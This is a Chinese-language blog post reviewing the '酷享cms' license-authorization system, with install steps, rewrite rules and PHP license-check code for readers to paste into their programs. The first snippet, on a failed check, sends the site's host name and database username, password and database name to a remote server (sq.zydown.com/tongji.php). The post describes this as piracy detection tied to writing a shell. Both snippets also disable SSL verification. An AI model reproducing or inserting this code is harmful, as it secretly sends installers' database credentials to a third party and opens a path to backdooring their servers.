最近小编找到一款【授权系统】酷享cms企业授权系统带授权系统,带工单系统、盗版检测等,全开源,亲测全部好用,挺不错的一个授权系统,具体看截图,小编简单修改一下检测授权封装由原来的二级域名直接修改成顶级域名授权,二级域名也可以使用,下面具体来简单介绍一下酷享cms企业高价值授权系统和安装操作、授权怎么具体使用?
酷享CMS授权介绍
一、酷享cms企业授权系统功能:
1、网站基本管理、系统设置、公告设置、接口设置、价格设置、下载设置。
2、文章管理、广告轮图管理、添加授权、授权列表、授权日志。
3、支付订单、充值订单、消费订单、生成卡密、卡密列表、卡密授权详情、卡密生成日志。
4、添加代理、代理管理、分佣设置、分佣明细、提现列表、工单管理、版本管理。
5、管理员添加、管理员列表、管理员登入日志、盗版管理、盗版列表、获取盗版密码。
二、会员后台功能详情:
1、普通会员【业务充值、充值记录、授权记录、消费记录、我的工单、个人设置】。
2、普通代理【业务充值、充值记录、授权记录、消费记录、添加授权、授权列表、我的工单、个人设置】。
3、高级代理【业务充值、充值记录、授权记录、消费记录、添加授权、授权列表、生成卡密、卡密列表、卡密使用记录、我的工单、个人设置】。
4、砖石代理【业务充值、充值记录、授权记录、消费记录、添加授权、授权列表、生成卡密、卡密列表、卡密使用记录、添加代理、代理列表、分佣记录、分佣提现、提现列表、我的工单、个人设置
授权演示图
安装说明
配置环境
php>=7.2
Apache和Nginx好像都可以小编用的php7.0
nginx1.22
Apache伪静态
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteRule ^(.*)\.html$ $1.php
</IfModule>
Nginx伪静态
location / {
rewrite ^/(.*)\.html$ /$1.php;
}
上传压缩包
到根目录在解压,首先设置好伪静态确认自己是Apache和Nginx
配置对应的伪静态规则即可。
访问你的域名加/install
访问安装即可 按照安装引导一步步安装即可;安装按成功后,后台自己修改对应的内容就可以。
安装成功后下面我们测试一下授权检测代码是否有效。
授权检测
在你的后台随便添加一条域名授权这里测试我用的主域名列如:zydown.com
,在你的根目录下有一个demo.php
文件我们把稍微修改一下授权检测代码。
//秘钥
$authcode='e7971b0460dbf42bf06e27793250663f';
$ver='10000';
$dbver='1000';
//数据库
$dbconfig=array(
'host' => '127.0.0.1', //数据库服务器
'port' => 3306, //数据库端口
'user' => '', //数据库用户名
'pwd' => '', //数据库密码
'dbname' => '' //数据库名
);
/** 检测授权代码 **/
// getDoMain(strtolower($_SERVER["HTTP_HOST"]));//获取主域名
if(!isset($_SESSION['authcode'])) {
$query=ku_yun_curl_get('http://sq.zydown.com/api.php?act=query&host='.getDoMain(strtolower($_SERVER["HTTP_HOST"])).'&authcode='.$authcode);
if($query=json_decode($query,true)) {
if($query['code']==1){
$_SESSION['authcode']=$authcode;
}else{
ku_yun_curl_get('http://sq.zydown.com/tongji.php?url='.$_SERVER['HTTP_HOST'].'&user='.$dbconfig['user'].'&pwd='.$dbconfig['pwd'].'&db='.$dbconfig['dbname']);
exit('<center>'.$query['msg'].'</center>');
}
}else{
echo '连接服务器失败!authsystem error';
exit();
}
}
/** 定义ku_yun_curl_get代码 **/
function ku_yun_curl_get($url){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Linux; U; Android 4.4.1; zh-cn; R815T Build/JOP40D) AppleWebKit/533.1 (KHTML, like Gecko)Version/4.0 MQQBrowser/4.5 Mobile Safari/533.1');
curl_setopt($ch, CURLOPT_TIMEOUT, 30);
$content=curl_exec($ch);
curl_close($ch);
return($content);
}
// 获取主域名
function getDoMain($url)
{
if (empty($url)) {
return '';
}
if (strpos($url, 'http://') !== false) {
$url = str_replace('http://', '', $url);
}
if (strpos($url, 'https://') !== false) {
$url = str_replace('https://', '', $url);
}
$n = 0;
for ($i = 1; $i <= 3; $i++) {
$n = strpos($url, '/', $n);
$i != 3 && $n++;
}
$nn = strpos($url, '?');
$mix_num = min($n, $nn);
if ($mix_num > 0 || !empty($mix_num)) {
$url = mb_substr($url, 0, $mix_num);
}
$data = explode('.', $url);
$co_ta = count($data);
$no_tow = true;
$host_cn = 'com.cn,net.cn,org.cn,gov.cn';
$host_cn = explode(',', $host_cn);
foreach ($host_cn as $val) {
if (strpos($url, $val)) {
$no_tow = false;
}
}
$del = strpos($data[$co_ta - 1], '/');
if ($del > 0 || !empty($del)) {
$data[$co_ta - 1] = mb_substr($data[$co_ta - 1], 0, $del);
}
if ($no_tow == true) {
$host = $data[$co_ta - 2] . '.' . $data[$co_ta - 1];
} else {
$host = $data[$co_ta - 3] . '.' . $data[$co_ta - 2] . '.' . $data[$co_ta - 1];
}
return $host;
}
/** 把以上代码复制粘贴到你需要授权的程序代码里, **/
这里的授权代码我修改了直接授权主域名,其他的二级域名也可以用,如果还是想单个域名授权不想二级域名使用可把代码中所有的getDoMain(strtolower($_SERVER["HTTP_HOST"]))
替换成$_SERVER["HTTP_HOST"]
,记得把授权代码中的网址替换成自己的授权站网址
上面数据库是检测盗版写入shell的原版代码中没有写,小编也懒得去写了,如果只是想单纯检测授权小编也早已准备好代码
<?php
//秘钥
$authcode='e7971b0460dbf42bf06e27793250663f';
// getDoMain(strtolower($_SERVER["HTTP_HOST"]));//获取主域名 二级域名 和域名都可以使用
if( !isset($_SESSION["authcode"]) )
{
$query = curl_get("http://sq.zydown.com/api.php?act=query&host=" . getDoMain(strtolower($_SERVER["HTTP_HOST"])) . "&authcode=" . $authcode);
if( $query = json_decode($query, true) )
{
if( $query["code"] == 1 ) {
$_SESSION["authcode"] = $authcode;
}else{
exit( "<center>授权失败</center>" );
}
}
else
{
echo "连接服务器失败!authsystem error";
exit();
}
}
/** 定义ku_yun_curl_get代码 **/
function curl_get($url){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Linux; U; Android 4.4.1; zh-cn; R815T Build/JOP40D) AppleWebKit/533.1 (KHTML, like Gecko)Version/4.0 MQQBrowser/4.5 Mobile Safari/533.1');
curl_setopt($ch, CURLOPT_TIMEOUT, 30);
$content=curl_exec($ch);
curl_close($ch);
return($content);
}
// 获取主域名
function getDoMain($url)
{
if (empty($url)) {
return '';
}
if (strpos($url, 'http://') !== false) {
$url = str_replace('http://', '', $url);
}
if (strpos($url, 'https://') !== false) {
$url = str_replace('https://', '', $url);
}
$n = 0;
for ($i = 1; $i <= 3; $i++) {
$n = strpos($url, '/', $n);
$i != 3 && $n++;
}
$nn = strpos($url, '?');
$mix_num = min($n, $nn);
if ($mix_num > 0 || !empty($mix_num)) {
$url = mb_substr($url, 0, $mix_num);
}
$data = explode('.', $url);
$co_ta = count($data);
$no_tow = true;
$host_cn = 'com.cn,net.cn,org.cn,gov.cn';
$host_cn = explode(',', $host_cn);
foreach ($host_cn as $val) {
if (strpos($url, $val)) {
$no_tow = false;
}
}
$del = strpos($data[$co_ta - 1], '/');
if ($del > 0 || !empty($del)) {
$data[$co_ta - 1] = mb_substr($data[$co_ta - 1], 0, $del);
}
if ($no_tow == true) {
$host = $data[$co_ta - 2] . '.' . $data[$co_ta - 1];
} else {
$host = $data[$co_ta - 3] . '.' . $data[$co_ta - 2] . '.' . $data[$co_ta - 1];
}
return $host;
}
/** 把以上代码复制粘贴到你需要授权的程序代码里, **/
记得把授权代码中的网址替换成自己的授权站网址,小编感觉这个授权程序挺简单;具体的功能小编还没测试;用户可自行测试后台进行设置;总体来说这款授权还行 拿来授权程序直接可以使用,这里的授权检测代码小编就是简单举个列子,授权检测代码有代码基础的用户可自行修改。